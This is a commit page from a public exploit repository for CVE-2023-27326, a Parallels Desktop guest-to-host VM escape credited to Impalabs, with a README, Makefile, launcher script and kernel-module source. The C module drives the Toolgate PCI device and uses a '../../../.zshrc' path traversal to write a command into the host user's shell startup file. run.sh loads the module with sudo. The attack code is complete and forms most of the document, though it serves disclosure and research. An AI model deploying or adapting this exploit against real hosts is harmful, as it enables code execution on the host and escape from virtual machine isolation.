Projects STRLCPY CVE-2023-27326 Commits d3245d70
🤬
  • ■ ■ ■ ■ ■ ■
    LICENSE
     1 +MIT License
     2 + 
     3 +Copyright (c) 2023 Impalabs
     4 +Copyright (c) 2022 RET2 Systems
     5 + 
     6 +Permission is hereby granted, free of charge, to any person obtaining a copy
     7 +of this software and associated documentation files (the "Software"), to deal
     8 +in the Software without restriction, including without limitation the rights
     9 +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
     10 +copies of the Software, and to permit persons to whom the Software is
     11 +furnished to do so, subject to the following conditions:
     12 + 
     13 +The above copyright notice and this permission notice shall be included in all
     14 +copies or substantial portions of the Software.
     15 + 
     16 +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
     17 +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
     18 +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
     19 +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
     20 +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
     21 +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
     22 +SOFTWARE.
     23 + 
  • ■ ■ ■ ■ ■ ■
    Makefile
     1 +obj-m += prl_exp.o
     2 + 
     3 +all:
     4 + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
     5 + 
     6 +clean:
     7 + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
     8 + 
  • ■ ■ ■ ■ ■ ■
    README.md
     1 +# Parallels Desktop VM Escape
     2 + 
     3 +This repository contains an exploit for a [Parallels Desktop](https://www.parallels.com/products/desktop/) vulnerability which has been assigned CVE-2023-27326. This vulnerability allows local attackers to escalate privileges on affected installations of Parallels Desktop.
     4 + 
     5 +The exploit was tested on Parallels Desktop version 18.0.0 (53049), and the vulnerability was patched in the 18.1.1 (53328) [security update](https://kb.parallels.com/125013).
     6 + 
     7 +## Vulnerability Details
     8 + 
     9 +The specific flaw exists within the *Toolgate* component. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of the current user on the host system.
     10 + 
     11 +The full details of the vulnerability can be found in the accompanying [blog post](https://blog.impalabs.com/2303_advisory_parallels-desktop_toolgate.html).
     12 + 
     13 +## Credits
     14 + 
     15 +The vulnerability was discovered and exploited by Alexandre Adamski of [Impalabs](https://impalabs.com). The boiler plate code of the kernel module is taken from [RET2 Systems](https://ret2.io/)'s [Pwn2Own 2021 exploit](https://github.com/ret2/Pwn2Own-2021-Parallels/).
     16 + 
     17 +## License
     18 + 
     19 +The contents of this repo are licensed and distributed under the MIT license.
     20 + 
  • ■ ■ ■ ■ ■ ■
    prl_exp.c
     1 +#include <linux/module.h>
     2 +#include <linux/kernel.h>
     3 +#include <linux/pci.h>
     4 + 
     5 +u16 baseport;
     6 +struct pci_dev* pcidev;
     7 + 
     8 +#define TG_PORT_STATUS 0
     9 +#define TG_PORT_SUBMIT 8
     10 + 
     11 +#define INLINE_SIZE(sz) (((sz)+7)&~7)
     12 +#define BUFFER_SIZE(sz) (((sz)+0xfff)&~0xfff)
     13 + 
     14 +typedef struct _TG_PAGED_BUFFER {
     15 + u64 Va;
     16 + u32 ByteCount;
     17 + u32 Writable:1;
     18 + u32 Reserved:31;
     19 + u64 Pages[0];
     20 +} TG_PAGED_BUFFER;
     21 +typedef struct _TG_PAGED_REQUEST {
     22 + u32 Request;
     23 + u32 Status;
     24 + u32 RequestSize;
     25 + u16 InlineByteCount;
     26 + u16 BufferCount;
     27 + u64 RequestPages[1];
     28 + // inline bytes
     29 + // TG_PAGED_BUFFER buffers[]
     30 +} TG_PAGED_REQUEST;
     31 + 
     32 +void outq(u64 val, u16 port) {
     33 + if (val>>32)
     34 + outl(val>>32, port+4);
     35 + outl(val, port);
     36 +}
     37 + 
     38 +// assumes buffer addrs will be page aligned
     39 +u64 calc_size(u32 inln, u32 bufcount, u64 totbufsz) {
     40 + u64 dsize, dpages;
     41 + 
     42 + totbufsz = BUFFER_SIZE(totbufsz);
     43 + dsize = sizeof(TG_PAGED_REQUEST)+INLINE_SIZE(inln);
     44 + dsize += bufcount*sizeof(TG_PAGED_BUFFER);
     45 + dsize += 8*(totbufsz>>12);
     46 + 
     47 + dpages = 1;
     48 + while (1) {
     49 + u64 delta = 1+((dsize-1)>>12) - dpages;
     50 + if (!delta)
     51 + break;
     52 + dpages += delta;
     53 + dsize += delta*8;
     54 + }
     55 + return dsize;
     56 +}
     57 + 
     58 +void tg_submit(u64 phys, TG_PAGED_REQUEST* req, u32 sync) {
     59 + outq(phys, baseport+TG_PORT_SUBMIT);
     60 + if (sync)
     61 + while (req->Status == -1)
     62 + yield();
     63 + //printk(KERN_INFO "status: 0x%x\n", req->Status);
     64 +}
     65 + 
     66 +// inbuf/outbuf should be kmalloc'd
     67 +void twobuf_req(u32 op, void *inln, u64 inlnsz, void* inbuf, u64 inlen, void* outbuf, u64 outlen, u32 sync) {
     68 + u64 dsize = calc_size(inlnsz, 2, BUFFER_SIZE(inlen)+BUFFER_SIZE(outlen));
     69 + u64 dpages = (dsize+0xfff)>>12;
     70 + TG_PAGED_REQUEST* req = kzalloc(dsize, GFP_KERNEL);
     71 + TG_PAGED_BUFFER* buf = (void*)&req->RequestPages[dpages]+INLINE_SIZE(inlnsz);
     72 + u64 inphys = virt_to_phys(inbuf), outphys = virt_to_phys(outbuf), reqphys = virt_to_phys(req);
     73 + u32 i;
     74 + 
     75 + if (!req) {
     76 + printk(KERN_WARNING "[x] couldnt alloc 0x%llx bytes for req\n", dsize);
     77 + return;
     78 + }
     79 + 
     80 + req->Request = op;
     81 + req->Status = -1;
     82 + req->RequestSize = dsize;
     83 + req->InlineByteCount = inlnsz;
     84 + req->BufferCount = 2;
     85 + memcpy((void *)&req->RequestPages[dpages], inln, inlnsz);
     86 + 
     87 + buf->Va = inphys;
     88 + buf->ByteCount = inlen;
     89 + buf->Writable = 1;
     90 + for (i = 0; i < (buf->ByteCount+0xfff)>>12; i++)
     91 + buf->Pages[i] = (inphys>>12)+i;
     92 + buf = (void*)&buf->Pages[(buf->ByteCount+0xfff)>>12];
     93 + buf->Va = outphys;
     94 + buf->ByteCount = outlen;
     95 + buf->Writable = 1;
     96 + for (i = 0; i < (buf->ByteCount+0xfff)>>12; i++)
     97 + buf->Pages[i] = (outphys>>12)+i;
     98 + 
     99 + for (i = 0; i < dpages; i++)
     100 + req->RequestPages[i] = (reqphys>>12)+i;
     101 + 
     102 + tg_submit(reqphys, req, sync);
     103 + //kfree(req);
     104 +}
     105 + 
     106 +void exploit(void) {
     107 + char inln[0x200];
     108 + char *CR = kzalloc(0x1000, GFP_KERNEL);
     109 + char *pbProcName = kzalloc(0x1000, GFP_KERNEL);
     110 + 
     111 + memset(inln, 0, sizeof(inln));
     112 + *(uint32_t *)(inln + 0) = 1;
     113 + *(uint32_t *)(inln + 8) = 4;
     114 + *(uint32_t *)(inln + 0x1c) = 1;
     115 + *(uint32_t *)(inln + 0x110) = 1;
     116 + strcpy(CR, "open /System/Applications/Calculator.app\n");
     117 + strcpy(pbProcName, "../../../.zshrc");
     118 + 
     119 + twobuf_req(0x8323, inln, 0x200, CR, strlen(CR), pbProcName, strlen(pbProcName)+1, 0);
     120 + 
     121 + //kfree(CR);
     122 + //kfree(pbProcName);
     123 +}
     124 + 
     125 +int tg_probe(struct pci_dev* dev, const struct pci_device_id* id) {
     126 + int ret;
     127 + pcidev = dev;
     128 + ret = pci_enable_device(dev);
     129 + if (ret) {
     130 + printk(KERN_WARNING "[x] failed to enable device: %d\n", ret);
     131 + return ret;
     132 + }
     133 + printk(KERN_INFO "[+] device enabled\n");
     134 + ret = pci_set_dma_mask(dev, DMA_BIT_MASK(64));
     135 + if (ret) {
     136 + printk(KERN_WARNING "[x] failed to set dma mask: %d\n", ret);
     137 + return ret;
     138 + }
     139 + ret = pci_request_region(dev, 0, "prl_exp_portio");
     140 + if (ret) {
     141 + printk(KERN_WARNING "[x] failed to request portio region: %d\n", ret);
     142 + return ret;
     143 + }
     144 + baseport = pci_resource_start(dev, 0);
     145 + printk(KERN_INFO "baseport: 0x%hx\n", baseport);
     146 + exploit();
     147 + return 0;
     148 +}
     149 + 
     150 +void tg_remove(struct pci_dev* dev) {
     151 + pci_release_region(dev, 0);
     152 + pci_disable_device(dev);
     153 +}
     154 + 
     155 +static struct pci_device_id pci_ids[] = {
     156 + {PCI_DEVICE(0x1ab8, 0x4000)},
     157 + {0}
     158 +};
     159 +static struct pci_driver tg_driver = {
     160 + .name = "prl_exploit_driver",
     161 + .id_table = pci_ids,
     162 + .probe = tg_probe,
     163 + .remove = tg_remove
     164 +};
     165 + 
     166 +static int __init init_tg_module(void) {
     167 + int ret;
     168 + ret = pci_register_driver(&tg_driver);
     169 + if (ret) {
     170 + printk(KERN_WARNING "[x] failed to register driver: %d\n", ret);
     171 + return ret;
     172 + }
     173 + return 0;
     174 +}
     175 +static void __exit exit_tg_module(void) {
     176 + printk(KERN_INFO "[+] unregistering driver\n");
     177 + pci_unregister_driver(&tg_driver);
     178 +}
     179 +module_init(init_tg_module);
     180 +module_exit(exit_tg_module);
     181 + 
     182 +MODULE_LICENSE("GPL");
     183 + 
  • ■ ■ ■ ■ ■ ■
    run.sh
     1 +#!/bin/sh
     2 +sudo sh -c '(dmesg -W &); insmod prl_exp.ko'
     3 + 
Please wait...
Page is in error, reload to recover